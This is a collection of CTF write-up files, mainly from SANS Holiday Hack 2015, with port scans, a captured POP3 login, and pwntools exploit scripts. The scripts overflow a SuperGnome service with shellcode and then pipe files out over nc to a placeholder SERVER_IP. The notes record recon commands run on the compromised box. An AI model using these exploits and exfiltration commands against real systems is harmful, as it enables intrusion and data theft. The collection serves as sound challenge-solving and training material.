/holidayhack-2015/gnomes/4_52.192.152.132/portscan.nmap: -------------------------------------------------------------------------------- 1 | # Nmap 6.47 scan initiated Fri Dec 11 09:23:22 2015 as: nmap -p- -oA portscan -T4 52.192.152.132 2 | Nmap scan report for ec2-52-192-152-132.ap-northeast-1.compute.amazonaws.com (52.192.152.132) 3 | Host is up (0.17s latency). 4 | Not shown: 65532 filtered ports 5 | PORT STATE SERVICE 6 | 80/tcp open http 7 | 4242/tcp closed vrml-multi-use 8 | 5555/tcp closed freeciv 9 | 10 | # Nmap done at Fri Dec 11 09:26:14 2015 -- 1 IP address (1 host up) scanned in 172.06 seconds 11 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/4_52.192.152.132/portscan.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/20151215161015_5.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/5_54.233.105.81/20151215161015_5.pcap -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/factory_cam_5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/5_54.233.105.81/factory_cam_5.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/from_pcap.raw: -------------------------------------------------------------------------------- 1 | +OK Dovecot ready. 2 | CAPA 3 | +OK 4 | CAPA 5 | TOP 6 | UIDL 7 | RESP-CODES 8 | PIPELINING 9 | USER 10 | SASL PLAIN 11 | . 12 | USER c 13 | +OK 14 | PASS AllYourPresentsAreBelongToMe 15 | +OK Logged in. 16 | STAT 17 | +OK 5 20685 18 | UIDL 19 | +OK 20 | 1 000000045645f608 21 | 2 000000055645f608 22 | 3 000000065645f608 23 | 4 000000075645f608 24 | 5 000000085645f608 25 | . 26 | LIST 27 | +OK 5 messages: 28 | 1 6429 29 | 2 647 30 | 3 647 31 | 4 6481 32 | 5 6481 33 | . 34 | RETR 5 35 | +OK 6481 octets 36 | Return-Path: 37 | X-Original-To: c@atnascorp.com 38 | Delivered-To: c@atnascorp.com 39 | Received: from grinchpc (ool-ad02ccd2.who-villeisp.com [86.75.30.9]) 40 | by atnascorp.com (Postfix) with ESMTP id A0BB38243D 41 | for ; Tue, 15 Dec 2015 16:08:05 +0000 (UTC) 42 | From: "Grinch" 43 | To: 44 | Subject: My Apologies & Holiday Greetings 45 | Date: Tue, 15 Dec 2015 16:09:40 -0500 46 | Message-ID: <006d01d1377c$e9ddbab0$bd993010$@who-villeisp.com> 47 | MIME-Version: 1.0 48 | Content-Type: multipart/alternative; 49 | boundary="----=_NextPart_000_006E_01D13753.01091240" 50 | X-Mailer: Microsoft Outlook 15.0 51 | Thread-Index: AdE3fOmsudtMp92uRb2ABVzNoCxYMA== 52 | Content-Language: en-us 53 | 54 | This is a multipart message in MIME format. 55 | 56 | ------=_NextPart_000_006E_01D13753.01091240 57 | Content-Type: text/plain; 58 | charset="us-ascii" 59 | Content-Transfer-Encoding: 7bit 60 | 61 | Dear Cindy Lou, 62 | 63 | 64 | 65 | I am writing to apologize for what I did to you so long ago. I wronged you 66 | and all the Whos down in Who-ville due to my extreme misunderstanding of 67 | Christmas and a deep-seated hatred. I should have never lied to you, and I 68 | should have never stolen those gifts on Christmas Eve. I realize that even 69 | returning them on Christmas morn didn't erase my crimes completely. I seek 70 | your forgiveness. 71 | 72 | 73 | 74 | You see, on Mount Crumpit that fateful Christmas morning, I learned th[4 bytes missing in capture file]at 75 | Christmas doesn't come from a store. In fact, I discovered that Christmas 76 | means a whole lot more! 77 | 78 | 79 | 80 | When I returned their gifts, the Whos embraced me. They forgave. I was 81 | stunned, and my heart grew even more. Why, they even let me carve the roast 82 | beast! They demonstrated to me that the holiday season is, in part, about 83 | forgiveness and love, and that's the gift that all the Whos gave to me that 84 | morning so long ago. I honestly tear up thinking about it. 85 | 86 | 87 | 88 | I don't expect you to forgive me, Cindy Lou. But, you have my deepest and 89 | most sincere apologies. 90 | 91 | 92 | 93 | And, above all, don't let my horrible actions from so long ago taint you in 94 | any way. I understand you've grown into an amazing business leader. You 95 | are a precious and beautiful Who, my dear. Please use your skills wisely 96 | and to help and support your fellow Who, especially during the holidays. 97 | 98 | 99 | 100 | I sincerely wish you a holiday season full of kindness and warmth, 101 | 102 | 103 | 104 | --The Grinch 105 | 106 | 107 | 108 | 109 | ------=_NextPart_000_006E_01D13753.01091240 110 | Content-Type: text/html; 111 | charset="us-ascii" 112 | Content-Transfer-Encoding: quoted-printable 113 | 114 |

Dear Cindy Lou,

 

I am writing = 164 | to apologize for what I did to you so long ago.  I wronged you and = 165 | all the Whos down in Who-ville due to my extreme misunderstanding of = 166 | Christmas and a deep-seated hatred.  I should have never lied to = 167 | you, and I should have never stolen those gifts on Christmas Eve.  = 168 | I realize that even returning them on Christmas morn didn’t erase = 169 | my crimes completely.  I seek your forgiveness.

 

You see, on = 171 | Mount Crumpit that fateful Christmas morning, I learned that Christmas = 172 | doesn’t come from a store.  In fact, I discovered that = 173 | Christmas means a whole lot more!

 

When I = 175 | returned their gifts, the Whos embraced me.  They forgave.  I = 176 | was stunned, and my heart grew even more.  Why, they even let me = 177 | carve the roast beast!  They demonstrated to me that the holiday = 178 | season is, in part, about forgiveness and love, and that’s the = 179 | gift that all the Whos gave to me that morning so long ago.  I = 180 | honestly tear up thinking about it.

 

I = 182 | don’t expect you to forgive me, Cindy Lou.  But, you have my = 183 | deepest and most sincere apologies.

 

And, above = 185 | all, don’t let my horrible actions from so long ago taint you in = 186 | any way.  I understand you’ve grown into an amazing business = 187 | leader.  You are a precious and beautiful Who, my dear.  = 188 | Please use your skills wisely and to help and support your fellow Who, = 189 | especially during the holidays.

 

I sincerely = 191 | wish you a holiday season full of kindness and warmth,

 

--The = 193 | Grinch

 

195 | ------=_NextPart_000_006E_01D13753.01091240-- 196 | 197 | . 198 | QUIT 199 | +OK Logging out. 200 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/gnome.conf: -------------------------------------------------------------------------------- 1 | Gnome Serial Number: 4CKL3R43V4 2 | Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg 3 | Allow new subordinates?: YES 4 | Camera monitoring?: YES 5 | Audio monitoring?: YES 6 | Camera update rate: 60min 7 | Gnome mode: SuperGnome 8 | Gnome name: SG-05 9 | Allow file uploads?: YES 10 | Allowed file formats: .png 11 | Allowed file size: 512kb 12 | Files directory: /gnome/www/files/ 13 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/portscan.gnmap: -------------------------------------------------------------------------------- 1 | # Nmap 6.47 scan initiated Fri Dec 11 09:23:37 2015 as: nmap -p- -oA portscan -T4 54.233.105.81 2 | Host: 54.233.105.81 (ec2-54-233-105-81.sa-east-1.compute.amazonaws.com) Status: Up 3 | Host: 54.233.105.81 (ec2-54-233-105-81.sa-east-1.compute.amazonaws.com) Ports: 80/open/tcp//http///, 4242/open/tcp//vrml-multi-use///, 5555/closed/tcp//freeciv/// Ignored State: filtered (65532) 4 | # Nmap done at Fri Dec 11 09:26:18 2015 -- 1 IP address (1 host up) scanned in 161.09 seconds 5 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/portscan.nmap: -------------------------------------------------------------------------------- 1 | # Nmap 6.47 scan initiated Fri Dec 11 09:23:37 2015 as: nmap -p- -oA portscan -T4 54.233.105.81 2 | Nmap scan report for ec2-54-233-105-81.sa-east-1.compute.amazonaws.com (54.233.105.81) 3 | Host is up (0.17s latency). 4 | Not shown: 65532 filtered ports 5 | PORT STATE SERVICE 6 | 80/tcp open http 7 | 4242/tcp open vrml-multi-use 8 | 5555/tcp closed freeciv 9 | 10 | # Nmap done at Fri Dec 11 09:26:18 2015 -- 1 IP address (1 host up) scanned in 161.09 seconds 11 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/portscan.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/win-findpeersh.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import os 3 | from ctypes import CDLL 4 | from math import floor 5 | # context.terminal = ['tmux', 'splitw', '-h'] 6 | context(arch='x86') 7 | 8 | canary = p32(0xe4ffffe4) 9 | 10 | # print('0x080493b2 - xor edx, 0xe4ffffe4') 11 | # print('0x08049708 e83f010000 call sym.sgnet_randfd ;[g]') 12 | 13 | folder = os.path.join('/', 'gnome', 'www', 'files') 14 | files = [ 15 | '20151215161015.zip', 16 | 'factory_cam_5.zip', 17 | 'gnome.conf' 18 | ] 19 | 20 | server_ip = 'SERVER_IP' 21 | 22 | # Exfiltrate files out of the box 23 | command = '' 24 | for index, file in enumerate(files): 25 | filepath = os.path.join(folder, file) 26 | curr_command = 'nc {} 5711{} < {};'.format(server_ip, index, filepath) 27 | command += curr_command 28 | 29 | # Before exfiltration, do a little recon on the box 30 | # Trying to see if we can exfiltrate via nc or python 31 | # command = 'whoami;ls;pwd;which nc;which python' 32 | print command 33 | 34 | # Continuous loop, trying to wait for the RND to land in our favor 35 | r = remote('54.233.105.81', '4242') 36 | 37 | # Secret backdoor to vulnerable function 38 | r.sendline('X') 39 | 40 | # Testing padding length 41 | # 100 from buffer length from source file 42 | # canary also found in source 43 | # shellcode = 'A' * 100 + canary + cyclic(400) 44 | 45 | # 0x080493b2 - xor edx, 0xe4ffffe4 46 | # 0x0804936b # 2: jmp esp 47 | 48 | # Real jmp esp 49 | jmpesp = p32(0x804936b) 50 | 51 | shellcode = 'A' * cyclic_find('bbaa') 52 | shellcode += canary 53 | shellcdoe += 'aaaa' 54 | shellcode += jmpesp 55 | shellcode += asm(shellcraft.dupsh(0xa6)) # 0xa6 is arbitrary. Just some number 0 < x < 1024 56 | shellcode += 'Z' * (200 - len(shellcode)) 57 | 58 | # Retrieve all the text before we "should" see actual results 59 | r.recvuntil('protected!\n') 60 | 61 | log.info("Sending: {}".format(shellcode)) 62 | r.sendline(shellcode) 63 | log.info("Sending: {}".format(command)) 64 | r.sendline(command) 65 | gotit = False 66 | total = '' 67 | 68 | # Wait for actual results to come back 69 | # Halt the script 70 | for _ in xrange(4): 71 | out = r.recv() 72 | if out != '\x00': 73 | print out 74 | gotit = True 75 | total += out 76 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/5_54.233.105.81/win.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import os 3 | from ctypes import CDLL 4 | from math import floor 5 | # context.terminal = ['tmux', 'splitw', '-h'] 6 | context(arch='x86') 7 | 8 | canary = p32(0xe4ffffe4) 9 | 10 | # print('0x080493b2 - xor edx, 0xe4ffffe4') 11 | # print('0x08049708 e83f010000 call sym.sgnet_randfd ;[g]') 12 | 13 | folder = os.path.join('/', 'gnome', 'www', 'files') 14 | files = [ 15 | '20151215161015.zip', 16 | 'factory_cam_5.zip', 17 | 'gnome.conf' 18 | ] 19 | 20 | server_ip = 'SERVER_IP' 21 | 22 | # Exfiltrate files out of the box 23 | command = '' 24 | for index, file in enumerate(files): 25 | filepath = os.path.join(folder, file) 26 | curr_command = 'nc {} 5711{} < {};'.format(server_ip, index, filepath) 27 | command += curr_command 28 | 29 | # Before exfiltration, do a little recon on the box 30 | # Trying to see if we can exfiltrate via nc or python 31 | # command = 'whoami;ls;pwd;which nc;which python' 32 | print command 33 | 34 | # Continuous loop, trying to wait for the RND to land in our favor 35 | r = remote('54.233.105.81', '4242') 36 | while True: 37 | r.close() 38 | r = remote('54.233.105.81', '4242') 39 | 40 | # Secret backdoor to vulnerable function 41 | r.sendline('X') 42 | 43 | # Testing padding length 44 | # 100 from buffer length from source file 45 | # canary also found in source 46 | # shellcode = 'A' * 100 + canary + cyclic(400) 47 | 48 | # 0x080493b2 - xor edx, 0xe4ffffe4 49 | # 0x0804936b # 2: jmp esp 50 | 51 | # Real jmp esp 52 | jmpesp = p32(0x804936b) 53 | 54 | shellcode = 'A' * cyclic_find('bbaa') 55 | shellcode += canary 56 | shellcdoe += 'aaaa' 57 | shellcode += jmpesp 58 | shellcode += asm(shellcraft.dupsh(0xa6)) # 0xa6 is arbitrary. Just some number 0 < x < 1024 59 | shellcode += 'Z' * (200 - len(shellcode)) 60 | 61 | # Retrieve all the text before we "should" see actual results 62 | r.recvuntil('protected!\n') 63 | 64 | try: 65 | log.info("Sending: {}".format(shellcode)) 66 | r.sendline(shellcode) 67 | log.info("Sending: {}".format(command)) 68 | r.sendline(command) 69 | gotit = False 70 | total = '' 71 | 72 | # Wait for actual results to come back 73 | # Halt the script 74 | for _ in xrange(4): 75 | out = r.recv() 76 | if out != '\x00': 77 | print out 78 | gotit = True 79 | total += out 80 | 81 | if gotit: 82 | print gotit 83 | raw_input("DONE!!") 84 | r.interactive() 85 | 86 | except: 87 | continue 88 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/camera_feed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/camera_feed.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/factory_cam_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/factory_cam_1.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/factory_cam_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/factory_cam_2.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/factory_cam_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/factory_cam_3.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/factory_cam_4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/factory_cam_4.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/factory_cam_5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/factory_cam_5.png -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/xor_images.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | 3 | filenames = ['camera_feed.png'] 4 | for x in xrange(1, 6): 5 | filenames.append('factory_cam_{}.png'.format(x)) 6 | 7 | print filenames 8 | 9 | images = [] 10 | for filename in filenames: 11 | curr_image = Image.open(filename).convert('RGB') 12 | images.append(curr_image) 13 | 14 | print images 15 | 16 | new_image = Image.new('RGB', (1024, 768)) 17 | 18 | for x in xrange(1024): 19 | for y in xrange(768): 20 | # Reset current pixel 21 | r, g, b = None, None, None 22 | 23 | for curr_image in images: 24 | red, green, blue = curr_image.getpixel((x, y)) 25 | if not r: 26 | r, g, b = red, green, blue 27 | else: 28 | r ^= red 29 | g ^= green 30 | b ^= blue 31 | 32 | new_image.putpixel((x, y), (r, g, b)) 33 | 34 | 35 | print 'Saving' 36 | new_image.save('xored.png') 37 | -------------------------------------------------------------------------------- /holidayhack-2015/gnomes/xored.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/gnomes/xored.png -------------------------------------------------------------------------------- /holidayhack-2015/notes: -------------------------------------------------------------------------------- 1 | 5: 2 | file ./usr/bin/sgstatd 3 | 4 | sudo mkdir -p /var/run/sgstatd 5 | 6 | remove alarm from sgstat 7 | aaa 8 | afl~alarm 9 | s sym.imp.alarm 10 | axt 11 | s 0x8049743 12 | pd 5 13 | wx 9090909090 14 | pd 10 15 | 16 | 17 | [+] Opening connection to 54.233.105.81 on port 4242: Done 18 | [*] Sending: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 19 | AAAAAAAAAAAAAAA�aaak\x93\x01۳\xa6j\x03YIj?X̀u�jhh///sh/binj\x0bX\x89x99̀ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 20 | ZZZZZZZZZZZZZZZZZ 21 | [*] Sending: whoami;ls;pwd;which nc;which python;iptables -L 22 | sh: 1: 23 | Z: not found 24 | 25 | nobody 26 | /run/sgstatd 27 | /bin/nc 28 | /usr/bin/python 29 | iptables v1.4.21: can't initialize iptables table `filter': Permission denied (you must be root) 30 | Perhaps iptables or your kernel needs to be upgraded. 31 | 32 | True 33 | DONE!! 34 | -------------------------------------------------------------------------------- /holidayhack-2015/part1/base64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/part1/base64.png -------------------------------------------------------------------------------- /holidayhack-2015/part1/gnome.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/part1/gnome.pcap -------------------------------------------------------------------------------- /holidayhack-2015/part1/output: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/part1/output -------------------------------------------------------------------------------- /holidayhack-2015/part1/output2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/part1/output2 -------------------------------------------------------------------------------- /holidayhack-2015/part1/parse_pcap.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import base64 3 | 4 | pkts = rdpcap('gnome.pcap') 5 | 6 | commands = [] 7 | 8 | image = False 9 | image_data = '' 10 | 11 | # For each packet in the pcap, check for the DSN Transaction ID of 0x1337 12 | # This was identified via manual analysis of the pcap itself 13 | # Each of these packets contains a base64 encoded string containing 14 | # command information. 15 | for packet in pkts: 16 | if DNSQR in packet: 17 | if packet[DNS].id == 0x1337: 18 | data = packet[DNS].an.rdata 19 | decoded = base64.b64decode(data) 20 | if 'JFIF' in decoded or image: 21 | image_data += decoded.replace('FILE:', '') 22 | image = True 23 | continue 24 | 25 | # Only append commands that don't have FILE in the command 26 | commands.append(decoded) 27 | 28 | with open('picture', 'wb') as f: 29 | f.write(image_data) 30 | 31 | for command in commands: 32 | print command 33 | -------------------------------------------------------------------------------- /holidayhack-2015/part1/picture.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/part1/picture.jpg -------------------------------------------------------------------------------- /holidayhack-2015/part1/response_1337.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/holidayhack-2015/part1/response_1337.png -------------------------------------------------------------------------------- /holidayhack-2015/part1/test.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import base64 3 | 4 | pkts = rdpcap('gnome.pcap') 5 | 6 | commands = [] 7 | 8 | image = False 9 | image_data = '' 10 | 11 | # For each packet in the pcap, check for the DSN Transaction ID of 0x1337 12 | # This was identified via manual analysis of the pcap itself 13 | # Each of these packets contains a base64 encoded string containing 14 | # command information. 15 | for packet in pkts: 16 | if DNSQR in packet: 17 | if packet[DNS].id == 0x1337: 18 | data = packet[DNS].an.rdata 19 | decoded = base64.b64decode(data) 20 | print decoded 21 | if 'JFIF' in decoded or image: 22 | image_data += decoded.replace('FILE:', '') 23 | image = True 24 | continue 25 | 26 | # Only append commands that don't have FILE in the command 27 | commands.append(decoded) 28 | 29 | with open('picture', 'wb') as f: 30 | f.write(image_data) 31 | 32 | """ 33 | for command in commands: 34 | print command 35 | """ 36 | -------------------------------------------------------------------------------- /houseccon-2015-august/dial/check.py: -------------------------------------------------------------------------------- 1 | import string 2 | import glob 3 | 4 | for filename in glob.glob('output*.txt'): 5 | if '00000' in filename: 6 | continue 7 | 8 | data = open(filename, 'r').read().splitlines() 9 | 10 | for line in data: 11 | print line 12 | good = False 13 | count = 0 14 | for c in line: 15 | if c in string.ascii_lowercase or c in string.ascii_uppercase: 16 | good = True 17 | count = count + 1 18 | 19 | if good and count > (len(line)/2) and len(line) > 4: 20 | with open('winning', 'a') as f: 21 | f.write(line + '\n') 22 | -------------------------------------------------------------------------------- /houseccon-2015-august/dial/dialer.cs: -------------------------------------------------------------------------------- 1 | // Decompiled with JetBrains decompiler 2 | // Type: Dialer 3 | // Assembly: dial, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null 4 | // MVID: 6BF6FF42-F044-4743-B8CC-E6ED08CCD84D 5 | // Assembly location: Z:\vmshare\ctf\houseccon\dial.exe 6 | 7 | using System; 8 | using System.IO; 9 | using System.Security.Cryptography; 10 | using System.Text; 11 | using System.Text.RegularExpressions; 12 | using System.Threading; 13 | 14 | namespace Dialer{ 15 | class Dialer 16 | { 17 | private static string msg = "EAAAADbcv071xsm2a1TSsH272dzbziJOuOiSmqK0Qkr89PYeZ5H8m7pOhQtnzgtFoVGnKQ=="; 18 | 19 | private static string[] Answers = new string[25] 20 | { 21 | "Hello? Hello? Is anybody there?", 22 | "Hello?", 23 | "Hello?", 24 | "Hello?", 25 | "Hello?", 26 | "Hello?", 27 | "Hello?", 28 | "", 29 | "", 30 | "", 31 | "", 32 | "", 33 | "", 34 | "", 35 | "Hello, who is this?", 36 | "Hello, who's calling?", 37 | "Hotel Operator, how may I connect you?", 38 | "Maple Tree Inn, how may I direct your call?", 39 | "Hello, Vagabond in, how may I direct your call?", 40 | "Saul's fish market?", 41 | "Tucker, Beevan and Lawson law firm, how can I", 42 | "Hello, this is mister Liam?", 43 | "Protovision inc, may I help you?", 44 | "Crystal Palace, may I take your order?", 45 | "Mckittrick speaking" 46 | }; 47 | 48 | public static void Main() 49 | { 50 | long i; 51 | string words; 52 | while (true) 53 | { 54 | for(i = LOWVALUE; i < HIGHVALUE; i++){ 55 | //Console.WriteLine(i); 56 | //Console.WriteLine("Dialing {0}...", (object) matchCollection[0].Groups[1].Value); 57 | //Thread.Sleep(2000); 58 | ///Console.WriteLine("bbb"); 59 | words = Dialer.Dial(i); 60 | if (string.IsNullOrEmpty(words)) 61 | { 62 | //int index = random.Next(0, Dialer.Answers.Length); 63 | if (Dialer.Answers[2] == "") 64 | { 65 | Thread.Sleep(1); 66 | } 67 | else 68 | { 69 | //Console.WriteLine("Connect"); 70 | Thread.Sleep(1); 71 | //spVoice.Speak(Dialer.Answers[index], SpeechVoiceSpeakFlags.SVSFDefault); 72 | } 73 | //Console.WriteLine("No carrier"); 74 | ///Console.WriteLine("ddd"); 75 | } 76 | else{ 77 | string path = @"outputLOWVALUE.txt"; 78 | // This text is added only once to the file. 79 | // Create a file to write to. 80 | using (StreamWriter sw = File.AppendText(path)) 81 | { 82 | sw.WriteLine(i); 83 | sw.WriteLine(words); 84 | //sw.WriteLine("Welcome"); 85 | } 86 | 87 | Console.WriteLine("AAAAAAAA"); 88 | Console.WriteLine(i); 89 | Console.WriteLine(words); 90 | } 91 | } 92 | //Console.WriteLine("ccc"); 93 | } 94 | } 95 | 96 | 97 | public static string Dial(long dialnum) 98 | { 99 | string str = ""; 100 | byte[] bytes = (byte[]) null; 101 | try 102 | { 103 | bytes = Dialer.DecodeB64AesString(Dialer.msg, dialnum.ToString()); 104 | } 105 | catch (Exception ex) 106 | { 107 | } 108 | if (bytes != null) 109 | str = Encoding.UTF8.GetString(bytes); 110 | return str; 111 | } 112 | 113 | private static void ResetConsole() 114 | { 115 | Console.BackgroundColor = ConsoleColor.Black; 116 | Console.ForegroundColor = ConsoleColor.Gray; 117 | Console.CursorSize = 10; 118 | } 119 | 120 | private static void CloseTerminal() 121 | { 122 | Console.WriteLine("\n+++ATH0"); 123 | Thread.Sleep(2000); 124 | Dialer.ResetConsole(); 125 | } 126 | 127 | private static void ctrlc(object sender, ConsoleCancelEventArgs args) 128 | { 129 | Dialer.CloseTerminal(); 130 | } 131 | 132 | public static byte[] DecodeB64AesString(string b64cipherText, string sharedSecret) 133 | { 134 | byte[] bytes = Encoding.ASCII.GetBytes("j7Hxz;P,3*hzz0"); 135 | if (string.IsNullOrEmpty(b64cipherText)) 136 | throw new ArgumentNullException("b64cipherText"); 137 | if (string.IsNullOrEmpty(sharedSecret)) 138 | throw new ArgumentNullException("sharedSecret"); 139 | RijndaelManaged rijndaelManaged = (RijndaelManaged) null; 140 | byte[] numArray = (byte[]) null; 141 | try 142 | { 143 | Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(sharedSecret, bytes); 144 | using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(b64cipherText))) 145 | { 146 | rijndaelManaged = new RijndaelManaged(); 147 | rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8); 148 | rijndaelManaged.IV = Dialer.ReadByteArray((Stream) memoryStream); 149 | ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(rijndaelManaged.Key, rijndaelManaged.IV); 150 | using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) 151 | { 152 | byte[] buffer = new byte[b64cipherText.Length]; 153 | int length = cryptoStream.Read(buffer, 0, buffer.Length); 154 | numArray = new byte[length]; 155 | Array.Copy((Array) buffer, 0, (Array) numArray, 0, length); 156 | } 157 | } 158 | } 159 | finally 160 | { 161 | if (rijndaelManaged != null) 162 | rijndaelManaged.Clear(); 163 | } 164 | return numArray; 165 | } 166 | 167 | private static byte[] ReadByteArray(Stream s) 168 | { 169 | byte[] buffer1 = new byte[4]; 170 | if (s.Read(buffer1, 0, buffer1.Length) != buffer1.Length) 171 | throw new SystemException("Stream did not contain properly formatted byte array"); 172 | byte[] buffer2 = new byte[BitConverter.ToInt32(buffer1, 0)]; 173 | if (s.Read(buffer2, 0, buffer2.Length) != buffer2.Length) 174 | throw new SystemException("Did not read byte array properly"); 175 | return buffer2; 176 | } 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /houseccon-2015-august/dial/make-prefixes.py: -------------------------------------------------------------------------------- 1 | import glob 2 | data = open('dialer.cs', 'r').read() 3 | 4 | for prefix in [399, 437, 767, 935]: 5 | with open('dialer-{}.cs'.format(prefix), 'w') as f: 6 | f.write(data.replace('LOWVALUE', '311{}0000'.format(prefix)).replace('HIGHVALUE', '311{}0000'.format(prefix+1)).replace("OUTFILE", str(prefix))) 7 | 8 | command = '' 9 | for index, filename in enumerate(glob.glob('./dialer-*cs')): 10 | command += 'csc /out:dialer-prefix{}.exe {} && '.format(index, filename) 11 | 12 | print command 13 | 14 | 15 | -------------------------------------------------------------------------------- /houseccon-2015-august/pics/admin-panel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/houseccon-2015-august/pics/admin-panel.png -------------------------------------------------------------------------------- /houseccon-2015-august/pics/cap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/houseccon-2015-august/pics/cap.png -------------------------------------------------------------------------------- /houseccon-2015-august/pics/xss-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctfhacker/ctf-writeups/f2fc7e9f498a687b1f26b232a017fb1027ead06b/houseccon-2015-august/pics/xss-1.png -------------------------------------------------------------------------------- /mmactf-2015/moneygame/README.md: -------------------------------------------------------------------------------- 1 | # Moneygame 1/2 2 | 3 | ## Recon 4 | 5 | We are presented with a stock market game. We have to time the market just right in order to get 10x our initial cash pile. Psh.. easy peasy 6 | 7 | Taking a look at the binary, we see that the numbers are generated from an `srand(time(0))`. This is great for us, since we can create the same random number sequence on our end, thus negating the "random" factor of the stocks. 8 | 9 | ![srand.png](srand.png) 10 | 11 | ## Quick aside 12 | 13 | There is a print function that clears the screen in the binary. This was annoying to debug. Patching over it is a breeze with [binjitsu](http://www.github.com/binjitsu/binjitsu) 14 | 15 | ```python 16 | from pwn import * 17 | 18 | elf = ELF('moneygame') 19 | # NOP out annoying print that clears screen 20 | elf.asm(0x80487b3, 'nop') 21 | elf.asm(0x80487b4, 'nop') 22 | elf.asm(0x80487b5, 'nop') 23 | elf.asm(0x80487b6, 'nop') 24 | elf.asm(0x80487b7, 'nop') 25 | 26 | elf.save('moneygame-patched') 27 | ``` 28 | 29 | Now, `moneygame-patched` can use used locally without the annoying screen clear. Now to the actual write-up 30 | 31 | ## Flag 1 32 | 33 | With the help of Python's ctypes, generating these random numbers on our end is trivial: 34 | 35 | ```python 36 | from ctypes import CDLL 37 | libc = CDLL('libc-2.19.so') 38 | 39 | # Seed srand with time(0) 